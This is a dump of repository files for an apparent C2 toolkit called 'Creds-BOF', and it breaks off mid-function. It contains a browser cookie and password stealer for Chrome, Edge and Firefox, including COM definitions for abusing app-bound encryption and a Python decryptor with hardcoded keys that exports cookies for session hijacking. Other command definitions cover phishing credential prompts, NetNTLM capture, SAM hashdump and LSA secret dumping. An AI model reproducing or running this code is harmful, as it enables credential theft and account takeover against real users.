MSVCRT$strlen(browser_path) > 0) {\n            if (browser_pid == 0) {\n                BeaconPrintf(CALLBACK_ERROR, \"[!] Browser Pid is require for Impersonation\");\n                return;\n            }\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Using browser path: %s and pid %d\", browser_path, browser_pid);\n            //if key only, then get the key and exit\n            if (keys) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+] KEY ONLY SELECTED\");\n                AppBoundDecryptor(browser_path, browser_pid);\n                return;\n            }\n\n            char* browser = NULL;\n            if (SHLWAPI$StrStrIA(browser_path, \"chrome\") != NULL) {\n                browser = \"chrome\";\n            } else if (SHLWAPI$StrStrIA(browser_path, \"edge\") != NULL) {\n                browser = \"edge\";\n            } else {\n                BeaconPrintf(CALLBACK_OUTPUT, \"Browser not supported ;(\");\n                return;\n            }\n            //if cookie or login data only, then get the cookies and/or passwords and exit\n            if (cookies || passwords) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+] COOKIES/PASSWORDS ONLY SELECTED\");\n                GetBrowserData(browser, cookies, passwords, copyFile);\n                return;\n            }\n            // Get All\n            AppBoundDecryptor(browser_path, browser_pid);\n            GetBrowserData(browser, cookies, passwords, copyFile);\n            return;\n\n        }\n\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Dumping all supported browsers\");\n        for (int i = 0; i < sizeof(supported_browsers) / sizeof(supported_browsers[0]); i++) {\n            browser = supported_browsers[i];\n            BeaconPrintf(CALLBACK_OUTPUT, \"===== Going for browser %s =====\", browser);\n            if (MSVCRT$strcmp(browser, \"firefox\") == 0){\n                GetFirefoxInfo();\n                continue;\n            }\n            GetEncryptionKey(browser);\n            GetBrowserData(browser, cookies, passwords, copyFile);\n        }\n    } else {\n        if (!isBrowserSupported(browser)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Browser %s is currently not supported, if its chromium based try browser path\\n\", browser);\n            return;\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"===== Going for browser %s =====\", browser);\n        // Firefox Only\n        if (MSVCRT$strcmp(browser, \"firefox\") == 0){\n            GetFirefoxInfo();\n            return;\n        }\n\n        // Get Key Only\n        if (keys){\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] KEY ONLY SELECTED\");\n            GetEncryptionKey(browser);\n            return;\n        }\n        // Get Login/Cookie (Without Decryption)\n        if (cookies || passwords){\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] COOKIES/PASSWORDS ONLY SELECTED\");\n            GetBrowserData(browser, cookies, passwords, copyFile);\n            return;\n        }\n        // Get All\n        GetEncryptionKey(browser);\n        GetBrowserData(browser, cookies, passwords, copyFile);\n    }\n}"
  },
  {
    "path": "Creds-BOF/cookie-monster/cookie-monster-bof.h",
    "content": "#include <windows.h>\n\n#define SystemHandleInformation 0x10\n#define HANDLE_TYPE_FILE 37\n#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004\n\n//nanodump fileless download\n#define CALLBACK_FILE       0x02\n#define CALLBACK_FILE_WRITE 0x08\n#define CALLBACK_FILE_CLOSE 0x09\n// chunk size used in download_file: 900 KiB\n#define CHUNK_SIZE 0xe1000\n\n\ntypedef struct _SYSTEM_HANDLE\n{\n\tULONG ProcessId;\n\tUCHAR ObjectTypeNumber;\n\tUCHAR Flags;\n\tUSHORT Handle;\n\tPVOID Object;\n\tACCESS_MASK GrantedAccess;\n} SYSTEM_HANDLE, SYSTEM_HANDLE_INFORMATION_, * PSYSTEM_HANDLE_INFORMATION_;\n\ntypedef struct _SYSTEM_HANDLE_INFORMATION {\n    ULONG NumberOfHandles;\n    SYSTEM_HANDLE Handles[1];\n} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;\n\ntypedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {\n    PVOID Object;\n    HANDLE UniqueProcessId;\n    HANDLE HandleValue;\n    ULONG GrantedAccess;\n    USHORT CreatorBackTraceIndex;\n    USHORT ObjectTypeIndex;\n    ULONG HandleAttributes;\n    ULONG Reserved;\n} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;\n\ntypedef struct _SYSTEM_HANDLE_INFORMATION_EX {\n    ULONG_PTR NumberOfHandles;\n    ULONG_PTR Reserved;\n    SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];\n} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;\n\ntypedef struct _UNICODE_STRING {\n    USHORT Length;\n    USHORT MaximumLength;\n    PWSTR Buffer;\n} UNICODE_STRING, *PUNICODE_STRING;\n\ntypedef struct __PUBLIC_OBJECT_TYPE_INFORMATION\n{\n    UNICODE_STRING TypeName;\n    ULONG Reserved [22];    // reserved for internal use\n} PUBLIC_OBJECT_TYPE_INFORMATION, *PPUBLIC_OBJECT_TYPE_INFORMATION;\n\ntypedef enum _SYSTEM_INFORMATION_CLASS {\n    SystemBasicInformation,\n    SystemHandleInformationEx = 64 // This may differ based on Windows version\n} SYSTEM_INFORMATION_CLASS;\n\ntypedef enum _OBJECT_INFORMATION_CLASS\n{\n\tObjectBasicInformation,\n\tObjectNameInformation,\n\tObjectTypeInformation,\n\tObjectAllInformation,\n\tObjectDataInformation\n} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS;\n\ntypedef struct _OBJECT_NAME_INFORMATION\n{\n    UNICODE_STRING Name;\n} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;\n\ntypedef struct __PACKET_HEADER {\n    DWORD magic;\n    DWORD type;\n    CHAR buffer[256];\n    DWORD dwSize;\n} PACKET_HEADER;\n\nenum PacketType {\n    PACKET_DATA = 1,\n    PACKET_FILE = 2,\n    PACKET_CMD = 4\n};\n\n// https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824\nconst CLSID Chrome_CLSID_Elevator = { 0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B} };\nconst IID Chrome_IID_IElevator    = { 0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8} };\nconst IID Chrome_IID_IElevator2   = { 0x1BF5208B, 0x295F, 0x4992, {0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38} };\nconst CLSID Edge_CLSID_Elevator   = { 0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67} };\nconst IID Edge_IID_IElevator      = { 0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B} };\n\ntypedef enum {\n    PROTECTION_NONE = 0,\n    PROTECTION_PATH_VALIDATION_OLD = 1,\n    PROTECTION_PATH_VALIDATION = 2,\n    PROTECTION_MAX = 3\n} ProtectionLevel;\n\n// oleview used to extract structures\n// note how edge required 3 additional functions in the structure\n\ntypedef struct IElevatorEdge IElevatorEdge;\n\ntypedef struct IElevatorEdgeVtbl\n    {\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IElevatorEdge * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IElevatorEdge * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IElevatorEdge * This);\n\n        HRESULT ( STDMETHODCALLTYPE *ReservedFunction1 )( \n            IElevatorEdge * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *LaunchUpdateCmdElevated )( \n            IElevatorEdge * This,\n            /* [in] */ LPWSTR browser_appid, \n            /* [in] */ LPWSTR cmd_id, \n            /* [in] */ unsigned long caller_proc_id, \n            /* [out] */ ULONG_PTR* proc_handle);\n\n        HRESULT ( STDMETHODCALLTYPE *LaunchUpdateCmdElevatedAndWait )( \n            IElevatorEdge * This,\n            /* [in] */ LPWSTR browser_appid, \n            /* [in] */ LPWSTR cmd_id, \n            /* [in] */ unsigned long wait_timeout, \n            /* [out] */ unsigned long* exit_code);\n\n        HRESULT ( STDMETHODCALLTYPE *RunRecoveryCRXElevated )( \n            IElevatorEdge * This,\n            /* [string][in] */ WCHAR *crx_path,\n            /* [string][in] */ WCHAR *browser_appid,\n            /* [string][in] */ WCHAR *browser_version,\n            /* [string][in] */ WCHAR *session_id,\n            /* [in] */ unsigned long caller_proc_id,\n            /* [out] */ ULONG_PTR *proc_handle);\n        \n        HRESULT ( STDMETHODCALLTYPE *EncryptData )( \n            IElevatorEdge * This,\n            /* [in] */ ProtectionLevel protection_level,\n            /* [in] */  BSTR plaintext,\n            /* [out] */ BSTR *ciphertext,\n            /* [out] */ unsigned long *last_error);\n        \n        HRESULT ( STDMETHODCALLTYPE *DecryptData )( \n            IElevatorEdge * This,\n            /* [in] */  BSTR ciphertext,\n            /* [out] */ BSTR *plaintext,\n            /* [out] */ unsigned long *last_error);\n        \n        HRESULT ( STDMETHODCALLTYPE *InstallVPNServices )( \n            IElevatorEdge * This);\n        \n    } IElevatorEdgeVtbl;\n \n    struct IElevatorEdge\n    {\n        struct IElevatorEdgeVtbl *lpVtbl;\n    };\n\ntypedef struct IElevatorChrome IElevatorChrome;\n\ntypedef struct IElevatorChromeVtbl\n    {\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IElevatorChrome * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IElevatorChrome * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IElevatorChrome * This);\n\n        HRESULT ( STDMETHODCALLTYPE *RunRecoveryCRXElevated )( \n            IElevatorChrome * This,\n            /* [string][in] */ WCHAR *crx_path,\n            /* [string][in] */ WCHAR *browser_appid,\n            /* [string][in] */ WCHAR *browser_version,\n            /* [string][in] */ WCHAR *session_id,\n            /* [in] */ unsigned long caller_proc_id,\n            /* [out] */ ULONG_PTR *proc_handle);\n        \n        HRESULT ( STDMETHODCALLTYPE *EncryptData )( \n            IElevatorChrome * This,\n            /* [in] */ ProtectionLevel protection_level,\n            /* [in] */  BSTR plaintext,\n            /* [out] */ BSTR *ciphertext,\n            /* [out] */ unsigned long *last_error);\n        \n        HRESULT ( STDMETHODCALLTYPE *DecryptData )( \n            IElevatorChrome * This,\n            /* [in] */  BSTR ciphertext,\n            /* [out] */ BSTR *plaintext,\n            /* [out] */ unsigned long *last_error);\n        \n        HRESULT ( STDMETHODCALLTYPE *InstallVPNServices )( \n            IElevatorChrome * This);\n        \n    } IElevatorChromeVtbl;\n \n    struct IElevatorChrome\n    {\n        struct IElevatorChromeVtbl *lpVtbl;\n    };\n\n    // Buffer to store decryption key and length\n    typedef struct {\n        unsigned char* data;\n        size_t len;\n    } Buffer;"
  },
  {
    "path": "Creds-BOF/cookie-monster/cookie-monster.axs",
    "content": "\nvar cmd_cookie_monster = ax.create_command(\"cookie-monster\", \"Locate and copy the cookie file used for Edge/Chrome/Firefox\", \"cookie-monster [ -b [chrome || msedge || firefox] [--cookie-only || --key-only || --password-only] [pid] ] or [--profile <Local State File Path> <PID>]\");\ncmd_cookie_monster.addArgFlagString( \"-b\", \"browser\",        \"Extract data from 'chrome', 'msedge', 'firefox' or 'all'\", \"\");\ncmd_cookie_monster.addArgFlagString( \"--profile\", \"profile\", \"Extract from custom browser profile path as system\", \"\");\ncmd_cookie_monster.addArgBool(       \"--cookie-only\",        \"Only retrieve the Cookie file. Do not attempt to download Login Data file or retrieve app bound encryption key.\");\ncmd_cookie_monster.addArgBool(       \"--password-only\",      \"Only retrieve the Login Data file. Do not attempt to download Cookie file or retrieve app bound encryption key.\");\ncmd_cookie_monster.addArgBool(       \"--key-only\",           \"Only retrieve the app bound encryption key. Do not attempt to download the Cookie or Login Data files.\");\ncmd_cookie_monster.addArgInt(        \"pid\",                  \"Browser PID\", 0);\ncmd_cookie_monster.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)\n{\n    let browser = parsed_json[\"browser\"];\n    let profile = parsed_json[\"profile\"];\n    let pid     = parsed_json[\"pid\"];\n\n    let browserPid    = 0;\n    let cookiePid     = 0;\n    let passwordPid   = 0;\n    let dumpCookie    = 0;\n    let dumpPassword = 0;\n    let dumpKey = 0;\n\n    if(parsed_json[\"--key-only\"]) {\n        dumpKey = 1;\n    }\n    if(parsed_json[\"--cookie-only\"]) {\n        dumpCookie = 1;\n        cookiePid = pid;\n    }\n    if(parsed_json[\"--password-only\"]) {\n        dumpPassword = 1;\n        passwordPid = pid;\n    }\n\n    if(browser.length == 0 && profile.length == 0) { throw new Error(\"Use '-b <browser>' or '--profile <Local State path>'\"); }\n\n    if(browser.length > 0 && profile.length > 0) { throw new Error(\"'-b' cannot be used with '--profile'\"); }\n\n    if( profile.length > 0 ) {\n        if( pid == 0 ) { throw new Error(\"For profile need browser PID\"); }\n        browserPid = pid;\n    } else {\n        if( browser != \"chrome\" && browser != \"msedge\" && browser != \"firefox\" && browser != \"all\") { throw new Error(\"Extract data from 'chrome', 'msedge', 'firefox' or 'all' only !\"); }\n    }\n    if( browser == \"all\" ) browser = \"\";\n\n    if( (dumpKey && dumpCookie) || (dumpKey && dumpPassword) || (dumpPassword && dumpCookie) ) { throw new Error(\"--key-only cannot be used with --cookie-only or --passwords-only\"); }\n\n    let bof_path = ax.script_dir() + \"_bin/cookie-monster-bof.\" + ax.arch(id) + \".o\";\n    let bof_params = ax.bof_pack(\"cstr,cstr,int,int,int,int,int,int\", [ browser, profile, browserPid, dumpCookie, dumpPassword, dumpKey, cookiePid, passwordPid]);\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Running Cookie-Monster BOF\");\n});\n"
  },
  {
    "path": "Creds-BOF/cookie-monster/decrypt.py",
    "content": "import sys\nimport base64\nimport sqlite3\nimport os\nimport argparse\nfrom Crypto.Cipher import AES, ChaCha20_Poly1305\nimport binascii\nimport json\nfrom datetime import datetime, timedelta\nfrom pyasn1.codec.der import decoder\n\ndef cookies(key, file_location):\n    if os.path.isfile(file_location) == False:\n        print(\"Error: File does not exist\")\n        sys.exit(1)\n    try:\n        conn = sqlite3.connect(file_location)\n        cursor = conn.cursor()\n        cursor.execute('select host_key, \"TRUE\", path, \"FALSE\", expires_utc, has_expires, name, CAST(encrypted_value AS BLOB) from cookies')\n        values = cursor.fetchall()\n        for host_key, _, path, _, expires_utc, has_expires, name, encrypted_value in values:\n            print(\"Host: \" + host_key)\n            print(\"Path: \" + path)\n            print(\"Name: \" + name)\n            print(\"Cookie: \" + decrypt_data(encrypted_value,key, False) + \";\")\n            print(\"Expires: \" + (datetime(1601, 1, 1) + timedelta(microseconds=expires_utc)).strftime('%b %d %Y %H:%M:%S')) if has_expires else -1\n            print(\"\")\n    except sqlite3.Error as e:\n        print(\"Error: Could not connect to database\")\n        print(e)\n        sys.exit(1)\n\ndef cookies_for_editor(key, file_location):\n    cookies = []\n    if os.path.isfile(file_location) == False:\n        print(\"Error: File does not exist\")\n        sys.exit(1)\n    try:\n        conn = sqlite3.connect(file_location)\n        cursor = conn.cursor()\n        cursor.execute('select host_key, \"TRUE\", path, \"FALSE\", expires_utc, has_expires, name, CAST(encrypted_value AS BLOB) from cookies')\n        values = cursor.fetchall()\n        for host_key, _, path, _, expires_utc, has_expires, name, encrypted_value in values:\n            decrypted_value = decrypt_data(encrypted_value, key, False)\n            expiration_date = (datetime(1601, 1, 1) + timedelta(microseconds=expires_utc)).timestamp() if has_expires else -1\n            cookie = {\n                \"domain\": host_key,\n                \"expirationDate\": expiration_date,\n                \"hostOnly\": not host_key.startswith('.'),\n                \"httpOnly\": False,\n                \"name\": name,\n                \"path\": path,\n                \"sameSite\": None,\n                \"secure\": False,\n                \"session\": False,\n                \"storeId\": None,\n                \"value\": decrypted_value\n            }\n            cookies.append(cookie)\n        cookie_file_name = datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\") + \"_cookies.json\"\n        with open(cookie_file_name, 'w') as f:\n            json.dump(cookies, f, indent=4)\n        print(\"Cookies saved to \" + cookie_file_name)\n    except sqlite3.Error as e:\n        print(\"Error: Could not connect to database\")\n        print(e)\n        sys.exit(1)\n\ndef login_data(key, file_location):\n    if os.path.isfile(file_location) == False:\n        print(\"Error: File does not exist\")\n        sys.exit(1)\n    try:\n        conn = sqlite3.connect(file_location)\n        cursor = conn.cursor()\n        cursor.execute(\"SELECT origin_url, username_value, password_value FROM logins\")\n        values = cursor.fetchall()\n        for origin_url, username_value, password_value in values:\n            print(\"URL: \" + origin_url)\n            print(\"Username: \" + username_value)\n            print(\"Password: \" + decrypt_data(password_value, key, True))\n            print(\"\")\n    except sqlite3.Error as e:\n        print(\"Error: Could not connect to database\")\n        print(e)\n        sys.exit(1)\n\ndef cookies_for_cuddlephish(key, file_location):\n    cookies = []\n    if os.path.isfile(file_location) == False:\n        print(\"Error: File does not exist\")\n        sys.exit(1)\n    try:\n        priority_map = {1: \"Medium\", 2: \"High\"}\n        conn = sqlite3.connect(file_location)\n        cursor = conn.cursor()\n        cursor.execute('select creation_utc, host_key, top_frame_site_key, name, CAST(encrypted_value AS BLOB), path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, samesite, source_scheme, source_port, last_update_utc, source_type, has_cross_site_ancestor from cookies')\n        values = cursor.fetchall()\n\n        for creation_utc, host_key, top_frame_site_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, samesite, source_scheme, source_port, last_update_utc, source_type, has_cross_site_ancestor in values:\n            decrypted_value = decrypt_data(encrypted_value, key)\n            expiration_date = (datetime(1601, 1, 1) + timedelta(microseconds=expires_utc)).timestamp() if has_expires else -1\n\n            samesite_map = {0: \"None\", 1: \"Lax\", 2: \"Strict\"}\n\n            source_scheme_map = {0: \"NonSecure\", 1: \"Secure\"}\n\n            cookie = {\n                'domain': host_key,\n                'expires': expiration_date,\n                'httpOnly': bool(is_httponly),\n                'name': name,\n                'path': path,\n                'priority': priority_map.get(priority, \"Medium\"),\n                'sameParty': False,\n                'sameSite': samesite_map.get(samesite, \"None\"),\n                'secure': bool(is_secure),\n                'session': not bool(is_persistent),\n                'size': len(name) + len(decrypted_value),\n                'sourcePort': source_port,\n                'value': decrypted_value\n            }\n            cookies.append(cookie)\n\n        output = {\n            \"url\": \"about:blank\",\n            \"cookies\": cookies,\n            \"local_storage\": []\n        }\n        cookie_file_name = \"cuddlephish_\" +datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\") + \".json\"\n        with open(cookie_file_name, 'w') as f:\n            json.dump(output, f, indent=4)\n        print(\"Cookies saved to \" + cookie_file_name)\n    except sqlite3.Error as e:\n        print(\"Error: Could not connect to database\")\n        print(e)\n        sys.exit(1)\n\ndef decrypt_data(encrypted_junk, key, password=False):\n    #key = binascii.unhexlify(key)\n    version = encrypted_junk[:3]\n    if version in (b'v10', b'v11'):\n        try:\n            if password:\n                initialisation_vector = encrypted_junk[3:15]\n                encrypted_password = encrypted_junk[15:-16]\n                cipher = AES.new(key, AES.MODE_GCM, initialisation_vector)\n                decrypted_pass = cipher.decrypt(encrypted_password)\n                decrypted_pass = decrypted_pass.decode('utf-8', errors='replace')\n                return decrypted_pass\n            nonce = encrypted_junk[3:3 + 12]\n            if len(nonce) == 0:\n                print(\"Error: Nonce cannot be empty\")\n                return \"\"\n            cipher_text = encrypted_junk[3+12:-16]\n            tag = encrypted_junk[-16:]\n            plain_text = AES.new(key, AES.MODE_GCM, nonce)\n            text = plain_text.decrypt(cipher_text)\n            return text[32:].decode('utf-8', errors='replace')\n        except Exception as e:\n            print(\"Error: Could not decrypt password\")\n            print(e)\n            return \"\"\n    if version in (b'v20'):\n        try:\n            nonce = encrypted_junk[3:3 + 12]\n            if len(nonce) == 0:\n                print(\"Error: Nonce cannot be empty\")\n                return \"\"\n            cipher_text = encrypted_junk[3+12:-16]\n            tag = encrypted_junk[-16:]\n            plain_text = AES.new(key, AES.MODE_GCM, nonce)\n            text = plain_text.decrypt(cipher_text)\n            if password:\n                return text.decode('utf-8', errors='replace')\n            else:\n                return text[32:].decode('utf-8', errors='replace')\n        except Exception as e:\n            print(\"Error: Could not decrypt password\")\n            print(e)\n            return \"\"\n\ndef byte_xor(ba1, ba2):\n    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])\n\ndef argparse_args():\n    parser = argparse.ArgumentParser(description='Decrypt Chromium cookies and passwords given a key and DB file')\n    parser.add_argument('-k', '--key', help='Decryption key', required=True)\n    parser.add_argument('-o','--option', choices=['cookies', 'passwords', 'cookie-editor', 'cuddlephish', 'firefox'], help='Option to choose', required=True)\n    parser.add_argument('-f','--file', help='Location of the database file', required=True)\n    parser.add_argument('--chrome-aes-key',help='Chrome AES Key',required=False)\n    parser.add_argument('--chrome-v10',action=\"store_false\",help='Chrome v10',required=False)\n    return parser.parse_args()\n\ndef main():\n    args = argparse_args()\n    key = args.key\n    base64_key = base64.b64encode(key.encode())\n    option = args.option\n    file_location = args.file\n    chromeAES = args.chrome_aes_key\n    chrome_v10 = args.chrome_v10\n    if chromeAES:\n        base64ChromeKey = base64.b64encode(chromeAES.encode())\n\n    key = bytearray(base64.b64decode(base64_key).decode('utf-8').replace('\\\\x', ''), 'utf-8')\n    # if key len is not 32, then its chrome 127+\n    # https://github.com/runassu/chrome_v20_decryption/issues/14#issuecomment-2708796234\n    key = binascii.unhexlify(key)\n\n    if (chromeAES):\n        chromeKey = bytearray(base64.b64decode(base64ChromeKey).decode('utf-8').replace('\\\\x', ''), 'utf-8')\n        chromeKey = binascii.unhexlify(chromeKey)\n\n        xor_key = bytes.fromhex(\"CCF8A1CEC56605B8517552BA1A2D061C03A29E90274FB2FCF59BA4B75C392390\")\n        xored_aes_key = byte_xor(chromeKey, xor_key)\n\n    #print(len(key))\n    if not chrome_v10:\n        if len(key) > 32:\n            aes_key = binascii.a2b_base64(\"sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=\")\n            chacha20_key = bytes.fromhex(\"E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660\")\n            flag = key[0]\n            iv = key[1:1+12]\n            ciphertext = key[1+12:1+12+32]\n            tag = key[1+12+32:]\n\n            #check for flag to determine if AES or ChaCha. Changed in chrome 130+\n            if flag == 1:\n                cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)\n            elif flag == 2:\n                cipher = ChaCha20_Poly1305.new(key=chacha20_key, nonce=iv)\n            elif flag == 3:\n                iv = key[1+32:1+32+12]\n                ciphertext = key[1+32+12:1+32+12+32]\n                tag = key[1+32+12+32:1+32+12+32+16]\n                cipher = AES.new(xored_aes_key, AES.MODE_GCM, nonce=iv)\n            else:\n                raise ValueError(f\"Unsupported flag: {flag}\")\n            key = cipher.decrypt_and_verify(ciphertext, tag)\n            print(\"Decrypted App Bound Key: \" + ''.join(f'\\\\x{b:02X}' for b in key) + \"\\n\")\n\n    if option == \"cookies\":\n        cookies(key, file_location)\n    elif option == \"passwords\":\n        login_data(key, file_location)\n    elif option == \"cookie-editor\":\n        cookies_for_editor(key, file_location)\n    elif option == \"cuddlephish\":\n        cookies_for_cuddlephish(key, file_location)\n    elif option == \"firefox\":\n        print(\"TO DO\")\n    else:\n        print(\"Error: Invalid option\")\n        sys.exit(1)\n\nif __name__ == \"__main__\":\n    main()"
  },
  {
    "path": "Creds-BOF/cookie-monster/requirements.txt",
    "content": "pycryptodome\npyasn1_modules"
  },
  {
    "path": "Creds-BOF/creds.axs",
    "content": "var metadata = {\n    name: \"Creds-BOF\",\n    description: \"BOF tools that can be used to harvest passwords\"\n};\n\nax.script_import(ax.script_dir() + \"nanodump/nanodump.axs\")\nax.script_import(ax.script_dir() + \"cookie-monster/cookie-monster.axs\")\n\n/// COMMANDS\n\nvar cmd_askcreds = ax.create_command(\"askcreds\", \"Prompt for credentials\", \"askcreds -p \\\"Windows Update\\\"\");\ncmd_askcreds.addArgBool(\"--async\", \"Use Async BOF\");\ncmd_askcreds.addArgFlagString(\"-p\", \"prompt\",    \"\", \"Restore Network Connection\");\ncmd_askcreds.addArgFlagString(\"-n\", \"note\",      \"\", \"Please verify your Windows user credentials to proceed\");\ncmd_askcreds.addArgFlagInt(   \"-t\", \"wait_time\", \"\", 30);\ncmd_askcreds.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let prompt    = parsed_json[\"prompt\"];\n    let note      = parsed_json[\"note\"];\n    let wait_time = parsed_json[\"wait_time\"];\n    let async = \"\";\n    if (parsed_json[\"--async\"]) async = \"-a \";\n\n\n    let bof_params = ax.bof_pack(\"wstr,wstr,int\", [prompt, note, wait_time]);\n    let bof_path = ax.script_dir() + \"_bin/askcreds.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof ${async}\"${bof_path}\" ${bof_params}`, \"BOF implementation: askcreds\");\n});\n\n\n\nvar cmd_get_ntlm = ax.create_command(\"get-netntlm\", \"Retrieve NetNTLM hash for the current user\", \"get-netntlm --no-ess\");\ncmd_get_ntlm.addArgBool( \"--no-ess\", \"The option can be utilized and if you would like the attempt to disable session security in NetNTLMv1\");\ncmd_get_ntlm.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let no_ess = 0;\n    if(parsed_json[\"--no-ess\"]) { no_ess = 1; }\n\n    let bof_params = ax.bof_pack(\"int\", [no_ess]);\n    let bof_path = ax.script_dir() + \"_bin/get-netntlm.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"BOF implementation: Internal Monologue\");\n});\n\n\n\nvar cmd_hashdump = ax.create_command(\"hashdump\", \"Dump SAM hashes\", \"hashdump\");\ncmd_hashdump.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let hook = function (task)\n    {\n        let agent = ax.agents()[task.agent];\n        let computer = agent[\"computer\"];\n        let address = agent[\"internal_ip\"];\n\n        let match;\n        let regex = /^([a-zA-Z0-9_\\-]+):\\d+:([a-fA-F0-9]{32})$/gm;\n        while ((match = regex.exec(task.text)) !== null) {\n            ax.credentials_add(match[1], match[2], \"\", \"ntlm\", \"\", \"SAM\", `${computer} (${address})`);\n        }\n\n        return task;\n    }\n    let bof_path = ax.script_dir() + \"_bin/hashdump.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"BOF implementation: hashdump\", hook);\n});\n\n\n\nvar cmd_lsadump_secrets = ax.create_command(\"lsadump_secrets\", \"Dump LSA secrets from SECURITY hive (requires SYSTEM)\", \"lsadump_secrets\");\ncmd_lsadump_secrets.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let accumulatedText = \"\";\n    let processedSecrets = new Set();\n\n    let hook = function (task) {\n        let agent = ax.agents()[task.agent];\n        let computer = agent[\"computer\"];\n        let address = agent[\"internal_ip\"];\n\n        if (task.text) {\n            accumulatedText += task.text;\n        }\n\n        // Match service secrets with format:\n        // Secret  : _SC_<ServiceName>\n        //  / service '<ServiceName>' with username : <username>\n        // cur/text: <password>\n        // or\n        // old/text: <password>\n        let fullText = accumulatedText;\n        let lines = fullText.split(/\\r?\\n/);\n\n        let currentSecret = null;\n        let currentService = null;\n        let currentUsername = null;\n        let secretsFound = 0;\n        let credentialsAdded = 0;\n\n        for (let i = 0; i < lines.length; i++) {\n            let line = lines[i];\n\n            let secretMatch = line.match(/Secret\\s+:\\s+_SC_(.+)/);\n            if (secretMatch) {\n                secretsFound++;\n                let secretName = secretMatch[1].trim();\n\n                if (currentSecret && currentService && currentUsername) {\n                    for (let j = currentSecret.lineIndex + 1; j < lines.length; j++) {\n                        let pwdLine = lines[j];\n\n                        if (pwdLine.match(/Secret\\s+:/)) break;\n\n                        let curMatch = pwdLine.match(/cur\\/text:\\s+(.+)/);\n                        if (curMatch) {\n                            let password = curMatch[1].trim();\n                            if (password && password.length > 0 && !password.includes(\"Cached domain credentials key\")) {\n                                let domain = \"\";\n                                let user = currentUsername;\n                                if (currentUsername.includes(\"\\\\\")) {\n                                    let parts = currentUsername.split(\"\\\\\");\n                                    domain = parts[0];\n                                    user = parts.slice(1).join(\"\\\\\");\n                                }\n                                let credKey = `${currentService}:${user}:${password}:cur`;\n                                if (!processedSecrets.has(credKey)) {\n                                    processedSecrets.add(credKey);\n                                    let tag = domain ? `${domain} / ${currentService}` : currentService;\n                                    ax.credentials_add(user, password, \"\", \"plaintext\", tag, \"LSA Secret\", `${computer} (${address})`);\n                                    credentialsAdded++;\n                                }\n                            }\n                        }\n\n                        let oldMatch = pwdLine.match(/old\\/text:\\s+(.+)/);\n                        if (oldMatch) {\n                            let password = oldMatch[1].trim();\n                            if (password && password.length > 0 && !password.includes(\"Cached domain credentials key\")) {\n                                let domain = \"\";\n                                let user = currentUsername;\n                                if (currentUsername.includes(\"\\\\\")) {\n                                    let parts = currentUsername.split(\"\\\\\");\n                                    domain = parts[0];\n                                    user = parts.slice(1).join(\"\\\\\");\n                                }\n                                let credKey = `${currentService}:${user}:${password}:old`;\n                                if (!processedSecrets.has(credKey)) {\n                                    processedSecrets.add(credKey);\n                                    let tag = domain ? `${domain} / ${currentService}` : currentService;\n                                    ax.credentials_add(user, password, \"\", \"plaintext\", tag, \"LSA Secret (old)\", `${computer} (${address})`);\n                                    credentialsAdded++;\n                                }\n                            }\n                        }\n                    